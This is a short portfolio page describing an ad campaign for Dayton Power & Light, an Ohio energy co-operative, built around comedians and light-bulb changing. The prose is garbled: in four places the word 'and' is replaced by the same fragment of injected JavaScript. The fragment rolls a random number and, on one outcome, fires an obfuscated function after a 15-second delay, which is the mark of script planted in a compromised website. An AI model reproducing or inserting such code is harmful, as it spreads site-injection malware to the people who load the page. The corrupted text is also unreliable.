Dayton Power & Light

Art Direction
Broadcast & Photography Direction
Interactive Direction &  Design

Launch Project

DP&L, is an energy co-operative in Dayton, Ohio. They provide annual energy efficiency programs to help residents dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and businesses in the Miami Valley save money. The goal of this campaign was to drive people online dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and to stores to participate in their energy saving programs dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and help DP&L meet their annual savings goals. The challenge was making changing a light bulb interesting. So we flew to New York dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and cast some comedians to turn the most menial task into a prime time sporting event.

Created at Chernoff Newman | Broadcast by MRB Films | Photography by George Fulton

 

 


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